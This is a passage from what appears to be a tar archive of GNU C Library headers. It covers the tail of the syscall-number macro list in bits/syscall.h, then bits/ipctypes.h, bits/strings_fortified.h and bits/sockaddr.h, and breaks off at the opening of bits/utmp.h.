SYS_osf_gethostid __NR_osf_gethostid #endif #ifdef __NR_osf_getitimer # define SYS_osf_getitimer __NR_osf_getitimer #endif #ifdef __NR_osf_getlogin # define SYS_osf_getlogin __NR_osf_getlogin #endif #ifdef __NR_osf_getmnt # define SYS_osf_getmnt __NR_osf_getmnt #endif #ifdef __NR_osf_getrusage # define SYS_osf_getrusage __NR_osf_getrusage #endif #ifdef __NR_osf_getsysinfo # define SYS_osf_getsysinfo __NR_osf_getsysinfo #endif #ifdef __NR_osf_gettimeofday # define SYS_osf_gettimeofday __NR_osf_gettimeofday #endif #ifdef __NR_osf_kloadcall # define SYS_osf_kloadcall __NR_osf_kloadcall #endif #ifdef __NR_osf_kmodcall # define SYS_osf_kmodcall __NR_osf_kmodcall #endif #ifdef __NR_osf_lstat # define SYS_osf_lstat __NR_osf_lstat #endif #ifdef __NR_osf_memcntl # define SYS_osf_memcntl __NR_osf_memcntl #endif #ifdef __NR_osf_mincore # define SYS_osf_mincore __NR_osf_mincore #endif #ifdef __NR_osf_mount # define SYS_osf_mount __NR_osf_mount #endif #ifdef __NR_osf_mremap # define SYS_osf_mremap __NR_osf_mremap #endif #ifdef __NR_osf_msfs_syscall # define SYS_osf_msfs_syscall __NR_osf_msfs_syscall #endif #ifdef __NR_osf_msleep # define SYS_osf_msleep __NR_osf_msleep #endif #ifdef __NR_osf_mvalid # define SYS_osf_mvalid __NR_osf_mvalid #endif #ifdef __NR_osf_mwakeup # define SYS_osf_mwakeup __NR_osf_mwakeup #endif #ifdef __NR_osf_naccept # define SYS_osf_naccept __NR_osf_naccept #endif #ifdef __NR_osf_nfssvc # define SYS_osf_nfssvc __NR_osf_nfssvc #endif #ifdef __NR_osf_ngetpeername # define SYS_osf_ngetpeername __NR_osf_ngetpeername #endif #ifdef __NR_osf_ngetsockname # define SYS_osf_ngetsockname __NR_osf_ngetsockname #endif #ifdef __NR_osf_nrecvfrom # define SYS_osf_nrecvfrom __NR_osf_nrecvfrom #endif #ifdef __NR_osf_nrecvmsg # define SYS_osf_nrecvmsg __NR_osf_nrecvmsg #endif #ifdef __NR_osf_nsendmsg # define SYS_osf_nsendmsg __NR_osf_nsendmsg #endif #ifdef __NR_osf_ntp_adjtime # define SYS_osf_ntp_adjtime __NR_osf_ntp_adjtime #endif #ifdef __NR_osf_ntp_gettime # define SYS_osf_ntp_gettime __NR_osf_ntp_gettime #endif #ifdef __NR_osf_old_creat # define SYS_osf_old_creat __NR_osf_old_creat #endif #ifdef __NR_osf_old_fstat # define SYS_osf_old_fstat __NR_osf_old_fstat #endif #ifdef __NR_osf_old_getpgrp # define SYS_osf_old_getpgrp __NR_osf_old_getpgrp #endif #ifdef __NR_osf_old_killpg # define SYS_osf_old_killpg __NR_osf_old_killpg #endif #ifdef __NR_osf_old_lstat # define SYS_osf_old_lstat __NR_osf_old_lstat #endif #ifdef __NR_osf_old_open # define SYS_osf_old_open __NR_osf_old_open #endif #ifdef __NR_osf_old_sigaction # define SYS_osf_old_sigaction __NR_osf_old_sigaction #endif #ifdef __NR_osf_old_sigblock # define SYS_osf_old_sigblock __NR_osf_old_sigblock #endif #ifdef __NR_osf_old_sigreturn # define SYS_osf_old_sigreturn __NR_osf_old_sigreturn #endif #ifdef __NR_osf_old_sigsetmask # define SYS_osf_old_sigsetmask __NR_osf_old_sigsetmask #endif #ifdef __NR_osf_old_sigvec # define SYS_osf_old_sigvec __NR_osf_old_sigvec #endif #ifdef __NR_osf_old_stat # define SYS_osf_old_stat __NR_osf_old_stat #endif #ifdef __NR_osf_old_vadvise # define SYS_osf_old_vadvise __NR_osf_old_vadvise #endif #ifdef __NR_osf_old_vtrace # define SYS_osf_old_vtrace __NR_osf_old_vtrace #endif #ifdef __NR_osf_old_wait # define SYS_osf_old_wait __NR_osf_old_wait #endif #ifdef __NR_osf_oldquota # define SYS_osf_oldquota __NR_osf_oldquota #endif #ifdef __NR_osf_pathconf # define SYS_osf_pathconf __NR_osf_pathconf #endif #ifdef __NR_osf_pid_block # define SYS_osf_pid_block __NR_osf_pid_block #endif #ifdef __NR_osf_pid_unblock # define SYS_osf_pid_unblock __NR_osf_pid_unblock #endif #ifdef __NR_osf_plock # define SYS_osf_plock __NR_osf_plock #endif #ifdef __NR_osf_priocntlset # define SYS_osf_priocntlset __NR_osf_priocntlset #endif #ifdef __NR_osf_profil # define SYS_osf_profil __NR_osf_profil #endif #ifdef __NR_osf_proplist_syscall # define SYS_osf_proplist_syscall __NR_osf_proplist_syscall #endif #ifdef __NR_osf_reboot # define SYS_osf_reboot __NR_osf_reboot #endif #ifdef __NR_osf_revoke # define SYS_osf_revoke __NR_osf_revoke #endif #ifdef __NR_osf_sbrk # define SYS_osf_sbrk __NR_osf_sbrk #endif #ifdef __NR_osf_security # define SYS_osf_security __NR_osf_security #endif #ifdef __NR_osf_select # define SYS_osf_select __NR_osf_select #endif #ifdef __NR_osf_set_program_attributes # define SYS_osf_set_program_attributes __NR_osf_set_program_attributes #endif #ifdef __NR_osf_set_speculative # define SYS_osf_set_speculative __NR_osf_set_speculative #endif #ifdef __NR_osf_sethostid # define SYS_osf_sethostid __NR_osf_sethostid #endif #ifdef __NR_osf_setitimer # define SYS_osf_setitimer __NR_osf_setitimer #endif #ifdef __NR_osf_setlogin # define SYS_osf_setlogin __NR_osf_setlogin #endif #ifdef __NR_osf_setsysinfo # define SYS_osf_setsysinfo __NR_osf_setsysinfo #endif #ifdef __NR_osf_settimeofday # define SYS_osf_settimeofday __NR_osf_settimeofday #endif #ifdef __NR_osf_shmat # define SYS_osf_shmat __NR_osf_shmat #endif #ifdef __NR_osf_signal # define SYS_osf_signal __NR_osf_signal #endif #ifdef __NR_osf_sigprocmask # define SYS_osf_sigprocmask __NR_osf_sigprocmask #endif #ifdef __NR_osf_sigsendset # define SYS_osf_sigsendset __NR_osf_sigsendset #endif #ifdef __NR_osf_sigstack # define SYS_osf_sigstack __NR_osf_sigstack #endif #ifdef __NR_osf_sigwaitprim # define SYS_osf_sigwaitprim __NR_osf_sigwaitprim #endif #ifdef __NR_osf_sstk # define SYS_osf_sstk __NR_osf_sstk #endif #ifdef __NR_osf_stat # define SYS_osf_stat __NR_osf_stat #endif #ifdef __NR_osf_statfs # define SYS_osf_statfs __NR_osf_statfs #endif #ifdef __NR_osf_statfs64 # define SYS_osf_statfs64 __NR_osf_statfs64 #endif #ifdef __NR_osf_subsys_info # define SYS_osf_subsys_info __NR_osf_subsys_info #endif #ifdef __NR_osf_swapctl # define SYS_osf_swapctl __NR_osf_swapctl #endif #ifdef __NR_osf_swapon # define SYS_osf_swapon __NR_osf_swapon #endif #ifdef __NR_osf_syscall # define SYS_osf_syscall __NR_osf_syscall #endif #ifdef __NR_osf_sysinfo # define SYS_osf_sysinfo __NR_osf_sysinfo #endif #ifdef __NR_osf_table # define SYS_osf_table __NR_osf_table #endif #ifdef __NR_osf_uadmin # define SYS_osf_uadmin __NR_osf_uadmin #endif #ifdef __NR_osf_usleep_thread # define SYS_osf_usleep_thread __NR_osf_usleep_thread #endif #ifdef __NR_osf_uswitch # define SYS_osf_uswitch __NR_osf_uswitch #endif #ifdef __NR_osf_utc_adjtime # define SYS_osf_utc_adjtime __NR_osf_utc_adjtime #endif #ifdef __NR_osf_utc_gettime # define SYS_osf_utc_gettime __NR_osf_utc_gettime #endif #ifdef __NR_osf_utimes # define SYS_osf_utimes __NR_osf_utimes #endif #ifdef __NR_osf_utsname # define SYS_osf_utsname __NR_osf_utsname #endif #ifdef __NR_osf_wait4 # define SYS_osf_wait4 __NR_osf_wait4 #endif #ifdef __NR_osf_waitid # define SYS_osf_waitid __NR_osf_waitid #endif #ifdef __NR_pause # define SYS_pause __NR_pause #endif #ifdef __NR_pciconfig_iobase # define SYS_pciconfig_iobase __NR_pciconfig_iobase #endif #ifdef __NR_pciconfig_read # define SYS_pciconfig_read __NR_pciconfig_read #endif #ifdef __NR_pciconfig_write # define SYS_pciconfig_write __NR_pciconfig_write #endif #ifdef __NR_perf_event_open # define SYS_perf_event_open __NR_perf_event_open #endif #ifdef __NR_perfctr # define SYS_perfctr __NR_perfctr #endif #ifdef __NR_perfmonctl # define SYS_perfmonctl __NR_perfmonctl #endif #ifdef __NR_personality # define SYS_personality __NR_personality #endif #ifdef __NR_pidfd_getfd # define SYS_pidfd_getfd __NR_pidfd_getfd #endif #ifdef __NR_pidfd_open # define SYS_pidfd_open __NR_pidfd_open #endif #ifdef __NR_pidfd_send_signal # define SYS_pidfd_send_signal __NR_pidfd_send_signal #endif #ifdef __NR_pipe # define SYS_pipe __NR_pipe #endif #ifdef __NR_pipe2 # define SYS_pipe2 __NR_pipe2 #endif #ifdef __NR_pivot_root # define SYS_pivot_root __NR_pivot_root #endif #ifdef __NR_pkey_alloc # define SYS_pkey_alloc __NR_pkey_alloc #endif #ifdef __NR_pkey_free # define SYS_pkey_free __NR_pkey_free #endif #ifdef __NR_pkey_mprotect # define SYS_pkey_mprotect __NR_pkey_mprotect #endif #ifdef __NR_poll # define SYS_poll __NR_poll #endif #ifdef __NR_ppoll # define SYS_ppoll __NR_ppoll #endif #ifdef __NR_ppoll_time64 # define SYS_ppoll_time64 __NR_ppoll_time64 #endif #ifdef __NR_prctl # define SYS_prctl __NR_prctl #endif #ifdef __NR_pread64 # define SYS_pread64 __NR_pread64 #endif #ifdef __NR_preadv # define SYS_preadv __NR_preadv #endif #ifdef __NR_preadv2 # define SYS_preadv2 __NR_preadv2 #endif #ifdef __NR_prlimit64 # define SYS_prlimit64 __NR_prlimit64 #endif #ifdef __NR_process_madvise # define SYS_process_madvise __NR_process_madvise #endif #ifdef __NR_process_mrelease # define SYS_process_mrelease __NR_process_mrelease #endif #ifdef __NR_process_vm_readv # define SYS_process_vm_readv __NR_process_vm_readv #endif #ifdef __NR_process_vm_writev # define SYS_process_vm_writev __NR_process_vm_writev #endif #ifdef __NR_prof # define SYS_prof __NR_prof #endif #ifdef __NR_profil # define SYS_profil __NR_profil #endif #ifdef __NR_pselect6 # define SYS_pselect6 __NR_pselect6 #endif #ifdef __NR_pselect6_time64 # define SYS_pselect6_time64 __NR_pselect6_time64 #endif #ifdef __NR_ptrace # define SYS_ptrace __NR_ptrace #endif #ifdef __NR_putpmsg # define SYS_putpmsg __NR_putpmsg #endif #ifdef __NR_pwrite64 # define SYS_pwrite64 __NR_pwrite64 #endif #ifdef __NR_pwritev # define SYS_pwritev __NR_pwritev #endif #ifdef __NR_pwritev2 # define SYS_pwritev2 __NR_pwritev2 #endif #ifdef __NR_query_module # define SYS_query_module __NR_query_module #endif #ifdef __NR_quotactl # define SYS_quotactl __NR_quotactl #endif #ifdef __NR_quotactl_fd # define SYS_quotactl_fd __NR_quotactl_fd #endif #ifdef __NR_read # define SYS_read __NR_read #endif #ifdef __NR_readahead # define SYS_readahead __NR_readahead #endif #ifdef __NR_readdir # define SYS_readdir __NR_readdir #endif #ifdef __NR_readlink # define SYS_readlink __NR_readlink #endif #ifdef __NR_readlinkat # define SYS_readlinkat __NR_readlinkat #endif #ifdef __NR_readv # define SYS_readv __NR_readv #endif #ifdef __NR_reboot # define SYS_reboot __NR_reboot #endif #ifdef __NR_recv # define SYS_recv __NR_recv #endif #ifdef __NR_recvfrom # define SYS_recvfrom __NR_recvfrom #endif #ifdef __NR_recvmmsg # define SYS_recvmmsg __NR_recvmmsg #endif #ifdef __NR_recvmmsg_time64 # define SYS_recvmmsg_time64 __NR_recvmmsg_time64 #endif #ifdef __NR_recvmsg # define SYS_recvmsg __NR_recvmsg #endif #ifdef __NR_remap_file_pages # define SYS_remap_file_pages __NR_remap_file_pages #endif #ifdef __NR_removexattr # define SYS_removexattr __NR_removexattr #endif #ifdef __NR_rename # define SYS_rename __NR_rename #endif #ifdef __NR_renameat # define SYS_renameat __NR_renameat #endif #ifdef __NR_renameat2 # define SYS_renameat2 __NR_renameat2 #endif #ifdef __NR_request_key # define SYS_request_key __NR_request_key #endif #ifdef __NR_restart_syscall # define SYS_restart_syscall __NR_restart_syscall #endif #ifdef __NR_riscv_flush_icache # define SYS_riscv_flush_icache __NR_riscv_flush_icache #endif #ifdef __NR_rmdir # define SYS_rmdir __NR_rmdir #endif #ifdef __NR_rseq # define SYS_rseq __NR_rseq #endif #ifdef __NR_rt_sigaction # define SYS_rt_sigaction __NR_rt_sigaction #endif #ifdef __NR_rt_sigpending # define SYS_rt_sigpending __NR_rt_sigpending #endif #ifdef __NR_rt_sigprocmask # define SYS_rt_sigprocmask __NR_rt_sigprocmask #endif #ifdef __NR_rt_sigqueueinfo # define SYS_rt_sigqueueinfo __NR_rt_sigqueueinfo #endif #ifdef __NR_rt_sigreturn # define SYS_rt_sigreturn __NR_rt_sigreturn #endif #ifdef __NR_rt_sigsuspend # define SYS_rt_sigsuspend __NR_rt_sigsuspend #endif #ifdef __NR_rt_sigtimedwait # define SYS_rt_sigtimedwait __NR_rt_sigtimedwait #endif #ifdef __NR_rt_sigtimedwait_time64 # define SYS_rt_sigtimedwait_time64 __NR_rt_sigtimedwait_time64 #endif #ifdef __NR_rt_tgsigqueueinfo # define SYS_rt_tgsigqueueinfo __NR_rt_tgsigqueueinfo #endif #ifdef __NR_rtas # define SYS_rtas __NR_rtas #endif #ifdef __NR_s390_guarded_storage # define SYS_s390_guarded_storage __NR_s390_guarded_storage #endif #ifdef __NR_s390_pci_mmio_read # define SYS_s390_pci_mmio_read __NR_s390_pci_mmio_read #endif #ifdef __NR_s390_pci_mmio_write # define SYS_s390_pci_mmio_write __NR_s390_pci_mmio_write #endif #ifdef __NR_s390_runtime_instr # define SYS_s390_runtime_instr __NR_s390_runtime_instr #endif #ifdef __NR_s390_sthyi # define SYS_s390_sthyi __NR_s390_sthyi #endif #ifdef __NR_sched_get_affinity # define SYS_sched_get_affinity __NR_sched_get_affinity #endif #ifdef __NR_sched_get_priority_max # define SYS_sched_get_priority_max __NR_sched_get_priority_max #endif #ifdef __NR_sched_get_priority_min # define SYS_sched_get_priority_min __NR_sched_get_priority_min #endif #ifdef __NR_sched_getaffinity # define SYS_sched_getaffinity __NR_sched_getaffinity #endif #ifdef __NR_sched_getattr # define SYS_sched_getattr __NR_sched_getattr #endif #ifdef __NR_sched_getparam # define SYS_sched_getparam __NR_sched_getparam #endif #ifdef __NR_sched_getscheduler # define SYS_sched_getscheduler __NR_sched_getscheduler #endif #ifdef __NR_sched_rr_get_interval # define SYS_sched_rr_get_interval __NR_sched_rr_get_interval #endif #ifdef __NR_sched_rr_get_interval_time64 # define SYS_sched_rr_get_interval_time64 __NR_sched_rr_get_interval_time64 #endif #ifdef __NR_sched_set_affinity # define SYS_sched_set_affinity __NR_sched_set_affinity #endif #ifdef __NR_sched_setaffinity # define SYS_sched_setaffinity __NR_sched_setaffinity #endif #ifdef __NR_sched_setattr # define SYS_sched_setattr __NR_sched_setattr #endif #ifdef __NR_sched_setparam # define SYS_sched_setparam __NR_sched_setparam #endif #ifdef __NR_sched_setscheduler # define SYS_sched_setscheduler __NR_sched_setscheduler #endif #ifdef __NR_sched_yield # define SYS_sched_yield __NR_sched_yield #endif #ifdef __NR_seccomp # define SYS_seccomp __NR_seccomp #endif #ifdef __NR_security # define SYS_security __NR_security #endif #ifdef __NR_select # define SYS_select __NR_select #endif #ifdef __NR_semctl # define SYS_semctl __NR_semctl #endif #ifdef __NR_semget # define SYS_semget __NR_semget #endif #ifdef __NR_semop # define SYS_semop __NR_semop #endif #ifdef __NR_semtimedop # define SYS_semtimedop __NR_semtimedop #endif #ifdef __NR_semtimedop_time64 # define SYS_semtimedop_time64 __NR_semtimedop_time64 #endif #ifdef __NR_send # define SYS_send __NR_send #endif #ifdef __NR_sendfile # define SYS_sendfile __NR_sendfile #endif #ifdef __NR_sendfile64 # define SYS_sendfile64 __NR_sendfile64 #endif #ifdef __NR_sendmmsg # define SYS_sendmmsg __NR_sendmmsg #endif #ifdef __NR_sendmsg # define SYS_sendmsg __NR_sendmsg #endif #ifdef __NR_sendto # define SYS_sendto __NR_sendto #endif #ifdef __NR_set_mempolicy # define SYS_set_mempolicy __NR_set_mempolicy #endif #ifdef __NR_set_mempolicy_home_node # define SYS_set_mempolicy_home_node __NR_set_mempolicy_home_node #endif #ifdef __NR_set_robust_list # define SYS_set_robust_list __NR_set_robust_list #endif #ifdef __NR_set_thread_area # define SYS_set_thread_area __NR_set_thread_area #endif #ifdef __NR_set_tid_address # define SYS_set_tid_address __NR_set_tid_address #endif #ifdef __NR_set_tls # define SYS_set_tls __NR_set_tls #endif #ifdef __NR_setdomainname # define SYS_setdomainname __NR_setdomainname #endif #ifdef __NR_setfsgid # define SYS_setfsgid __NR_setfsgid #endif #ifdef __NR_setfsgid32 # define SYS_setfsgid32 __NR_setfsgid32 #endif #ifdef __NR_setfsuid # define SYS_setfsuid __NR_setfsuid #endif #ifdef __NR_setfsuid32 # define SYS_setfsuid32 __NR_setfsuid32 #endif #ifdef __NR_setgid # define SYS_setgid __NR_setgid #endif #ifdef __NR_setgid32 # define SYS_setgid32 __NR_setgid32 #endif #ifdef __NR_setgroups # define SYS_setgroups __NR_setgroups #endif #ifdef __NR_setgroups32 # define SYS_setgroups32 __NR_setgroups32 #endif #ifdef __NR_sethae # define SYS_sethae __NR_sethae #endif #ifdef __NR_sethostname # define SYS_sethostname __NR_sethostname #endif #ifdef __NR_setitimer # define SYS_setitimer __NR_setitimer #endif #ifdef __NR_setns # define SYS_setns __NR_setns #endif #ifdef __NR_setpgid # define SYS_setpgid __NR_setpgid #endif #ifdef __NR_setpgrp # define SYS_setpgrp __NR_setpgrp #endif #ifdef __NR_setpriority # define SYS_setpriority __NR_setpriority #endif #ifdef __NR_setregid # define SYS_setregid __NR_setregid #endif #ifdef __NR_setregid32 # define SYS_setregid32 __NR_setregid32 #endif #ifdef __NR_setresgid # define SYS_setresgid __NR_setresgid #endif #ifdef __NR_setresgid32 # define SYS_setresgid32 __NR_setresgid32 #endif #ifdef __NR_setresuid # define SYS_setresuid __NR_setresuid #endif #ifdef __NR_setresuid32 # define SYS_setresuid32 __NR_setresuid32 #endif #ifdef __NR_setreuid # define SYS_setreuid __NR_setreuid #endif #ifdef __NR_setreuid32 # define SYS_setreuid32 __NR_setreuid32 #endif #ifdef __NR_setrlimit # define SYS_setrlimit __NR_setrlimit #endif #ifdef __NR_setsid # define SYS_setsid __NR_setsid #endif #ifdef __NR_setsockopt # define SYS_setsockopt __NR_setsockopt #endif #ifdef __NR_settimeofday # define SYS_settimeofday __NR_settimeofday #endif #ifdef __NR_setuid # define SYS_setuid __NR_setuid #endif #ifdef __NR_setuid32 # define SYS_setuid32 __NR_setuid32 #endif #ifdef __NR_setxattr # define SYS_setxattr __NR_setxattr #endif #ifdef __NR_sgetmask # define SYS_sgetmask __NR_sgetmask #endif #ifdef __NR_shmat # define SYS_shmat __NR_shmat #endif #ifdef __NR_shmctl # define SYS_shmctl __NR_shmctl #endif #ifdef __NR_shmdt # define SYS_shmdt __NR_shmdt #endif #ifdef __NR_shmget # define SYS_shmget __NR_shmget #endif #ifdef __NR_shutdown # define SYS_shutdown __NR_shutdown #endif #ifdef __NR_sigaction # define SYS_sigaction __NR_sigaction #endif #ifdef __NR_sigaltstack # define SYS_sigaltstack __NR_sigaltstack #endif #ifdef __NR_signal # define SYS_signal __NR_signal #endif #ifdef __NR_signalfd # define SYS_signalfd __NR_signalfd #endif #ifdef __NR_signalfd4 # define SYS_signalfd4 __NR_signalfd4 #endif #ifdef __NR_sigpending # define SYS_sigpending __NR_sigpending #endif #ifdef __NR_sigprocmask # define SYS_sigprocmask __NR_sigprocmask #endif #ifdef __NR_sigreturn # define SYS_sigreturn __NR_sigreturn #endif #ifdef __NR_sigsuspend # define SYS_sigsuspend __NR_sigsuspend #endif #ifdef __NR_socket # define SYS_socket __NR_socket #endif #ifdef __NR_socketcall # define SYS_socketcall __NR_socketcall #endif #ifdef __NR_socketpair # define SYS_socketpair __NR_socketpair #endif #ifdef __NR_splice # define SYS_splice __NR_splice #endif #ifdef __NR_spu_create # define SYS_spu_create __NR_spu_create #endif #ifdef __NR_spu_run # define SYS_spu_run __NR_spu_run #endif #ifdef __NR_ssetmask # define SYS_ssetmask __NR_ssetmask #endif #ifdef __NR_stat # define SYS_stat __NR_stat #endif #ifdef __NR_stat64 # define SYS_stat64 __NR_stat64 #endif #ifdef __NR_statfs # define SYS_statfs __NR_statfs #endif #ifdef __NR_statfs64 # define SYS_statfs64 __NR_statfs64 #endif #ifdef __NR_statx # define SYS_statx __NR_statx #endif #ifdef __NR_stime # define SYS_stime __NR_stime #endif #ifdef __NR_stty # define SYS_stty __NR_stty #endif #ifdef __NR_subpage_prot # define SYS_subpage_prot __NR_subpage_prot #endif #ifdef __NR_swapcontext # define SYS_swapcontext __NR_swapcontext #endif #ifdef __NR_swapoff # define SYS_swapoff __NR_swapoff #endif #ifdef __NR_swapon # define SYS_swapon __NR_swapon #endif #ifdef __NR_switch_endian # define SYS_switch_endian __NR_switch_endian #endif #ifdef __NR_symlink # define SYS_symlink __NR_symlink #endif #ifdef __NR_symlinkat # define SYS_symlinkat __NR_symlinkat #endif #ifdef __NR_sync # define SYS_sync __NR_sync #endif #ifdef __NR_sync_file_range # define SYS_sync_file_range __NR_sync_file_range #endif #ifdef __NR_sync_file_range2 # define SYS_sync_file_range2 __NR_sync_file_range2 #endif #ifdef __NR_syncfs # define SYS_syncfs __NR_syncfs #endif #ifdef __NR_sys_debug_setcontext # define SYS_sys_debug_setcontext __NR_sys_debug_setcontext #endif #ifdef __NR_sys_epoll_create # define SYS_sys_epoll_create __NR_sys_epoll_create #endif #ifdef __NR_sys_epoll_ctl # define SYS_sys_epoll_ctl __NR_sys_epoll_ctl #endif #ifdef __NR_sys_epoll_wait # define SYS_sys_epoll_wait __NR_sys_epoll_wait #endif #ifdef __NR_syscall # define SYS_syscall __NR_syscall #endif #ifdef __NR_sysfs # define SYS_sysfs __NR_sysfs #endif #ifdef __NR_sysinfo # define SYS_sysinfo __NR_sysinfo #endif #ifdef __NR_syslog # define SYS_syslog __NR_syslog #endif #ifdef __NR_sysmips # define SYS_sysmips __NR_sysmips #endif #ifdef __NR_tee # define SYS_tee __NR_tee #endif #ifdef __NR_tgkill # define SYS_tgkill __NR_tgkill #endif #ifdef __NR_time # define SYS_time __NR_time #endif #ifdef __NR_timer_create # define SYS_timer_create __NR_timer_create #endif #ifdef __NR_timer_delete # define SYS_timer_delete __NR_timer_delete #endif #ifdef __NR_timer_getoverrun # define SYS_timer_getoverrun __NR_timer_getoverrun #endif #ifdef __NR_timer_gettime # define SYS_timer_gettime __NR_timer_gettime #endif #ifdef __NR_timer_gettime64 # define SYS_timer_gettime64 __NR_timer_gettime64 #endif #ifdef __NR_timer_settime # define SYS_timer_settime __NR_timer_settime #endif #ifdef __NR_timer_settime64 # define SYS_timer_settime64 __NR_timer_settime64 #endif #ifdef __NR_timerfd # define SYS_timerfd __NR_timerfd #endif #ifdef __NR_timerfd_create # define SYS_timerfd_create __NR_timerfd_create #endif #ifdef __NR_timerfd_gettime # define SYS_timerfd_gettime __NR_timerfd_gettime #endif #ifdef __NR_timerfd_gettime64 # define SYS_timerfd_gettime64 __NR_timerfd_gettime64 #endif #ifdef __NR_timerfd_settime # define SYS_timerfd_settime __NR_timerfd_settime #endif #ifdef __NR_timerfd_settime64 # define SYS_timerfd_settime64 __NR_timerfd_settime64 #endif #ifdef __NR_times # define SYS_times __NR_times #endif #ifdef __NR_tkill # define SYS_tkill __NR_tkill #endif #ifdef __NR_truncate # define SYS_truncate __NR_truncate #endif #ifdef __NR_truncate64 # define SYS_truncate64 __NR_truncate64 #endif #ifdef __NR_tuxcall # define SYS_tuxcall __NR_tuxcall #endif #ifdef __NR_udftrap # define SYS_udftrap __NR_udftrap #endif #ifdef __NR_ugetrlimit # define SYS_ugetrlimit __NR_ugetrlimit #endif #ifdef __NR_ulimit # define SYS_ulimit __NR_ulimit #endif #ifdef __NR_umask # define SYS_umask __NR_umask #endif #ifdef __NR_umount # define SYS_umount __NR_umount #endif #ifdef __NR_umount2 # define SYS_umount2 __NR_umount2 #endif #ifdef __NR_uname # define SYS_uname __NR_uname #endif #ifdef __NR_unlink # define SYS_unlink __NR_unlink #endif #ifdef __NR_unlinkat # define SYS_unlinkat __NR_unlinkat #endif #ifdef __NR_unshare # define SYS_unshare __NR_unshare #endif #ifdef __NR_uselib # define SYS_uselib __NR_uselib #endif #ifdef __NR_userfaultfd # define SYS_userfaultfd __NR_userfaultfd #endif #ifdef __NR_usr26 # define SYS_usr26 __NR_usr26 #endif #ifdef __NR_usr32 # define SYS_usr32 __NR_usr32 #endif #ifdef __NR_ustat # define SYS_ustat __NR_ustat #endif #ifdef __NR_utime # define SYS_utime __NR_utime #endif #ifdef __NR_utimensat # define SYS_utimensat __NR_utimensat #endif #ifdef __NR_utimensat_time64 # define SYS_utimensat_time64 __NR_utimensat_time64 #endif #ifdef __NR_utimes # define SYS_utimes __NR_utimes #endif #ifdef __NR_utrap_install # define SYS_utrap_install __NR_utrap_install #endif #ifdef __NR_vfork # define SYS_vfork __NR_vfork #endif #ifdef __NR_vhangup # define SYS_vhangup __NR_vhangup #endif #ifdef __NR_vm86 # define SYS_vm86 __NR_vm86 #endif #ifdef __NR_vm86old # define SYS_vm86old __NR_vm86old #endif #ifdef __NR_vmsplice # define SYS_vmsplice __NR_vmsplice #endif #ifdef __NR_vserver # define SYS_vserver __NR_vserver #endif #ifdef __NR_wait4 # define SYS_wait4 __NR_wait4 #endif #ifdef __NR_waitid # define SYS_waitid __NR_waitid #endif #ifdef __NR_waitpid # define SYS_waitpid __NR_waitpid #endif #ifdef __NR_write # define SYS_write __NR_write #endif #ifdef __NR_writev # define SYS_writev __NR_writev #endif bits/ipctypes.h 0000644 00000002227 15246445046 0007533 0 ustar 00 /* bits/ipctypes.h -- Define some types used by SysV IPC/MSG/SHM. Copyright (C) 2012-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_IPC_H # error "Never use <bits/ipctypes.h> directly; include <sys/ipc.h> instead." #endif #ifndef _BITS_IPCTYPES_H #define _BITS_IPCTYPES_H 1 /* Used in `struct shmid_ds'. */ # ifdef __x86_64__ typedef int __ipc_pid_t; # else typedef unsigned short int __ipc_pid_t; # endif #endif /* bits/ipctypes.h */ bits/strings_fortified.h 0000644 00000002327 15246445046 0011420 0 ustar 00 /* Fortify macros for strings.h functions. Copyright (C) 2017-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef __STRINGS_FORTIFIED # define __STRINGS_FORTIFIED 1 __fortify_function void __NTH (bcopy (const void *__src, void *__dest, size_t __len)) { (void) __builtin___memmove_chk (__dest, __src, __len, __glibc_objsize0 (__dest)); } __fortify_function void __NTH (bzero (void *__dest, size_t __len)) { (void) __builtin___memset_chk (__dest, '\0', __len, __glibc_objsize0 (__dest)); } #endif bits/sockaddr.h 0000644 00000002751 15246445046 0007467 0 ustar 00 /* Definition of struct sockaddr_* common members and sizes, generic version. Copyright (C) 1995-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* * Never include this file directly; use <sys/socket.h> instead. */ #ifndef _BITS_SOCKADDR_H #define _BITS_SOCKADDR_H 1 /* POSIX.1g specifies this type name for the `sa_family' member. */ typedef unsigned short int sa_family_t; /* This macro is used to declare the initial common members of the data types used for socket addresses, `struct sockaddr', `struct sockaddr_in', `struct sockaddr_un', etc. */ #define __SOCKADDR_COMMON(sa_prefix) \ sa_family_t sa_prefix##family #define __SOCKADDR_COMMON_SIZE (sizeof (unsigned short int)) /* Size of struct sockaddr_storage. */ #define _SS_SIZE 128 #endif /* bits/sockaddr.h */ bits/utmp.h 0000644 00000007742 15246445046 0006667 0 ustar 00 /* The `struct utmp' type, describing entries in the utmp file. Copyright (C) 1993-2019 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _UTMP_H # error "Never include <bits/utmp.h> directly; use <utmp.h> instead." 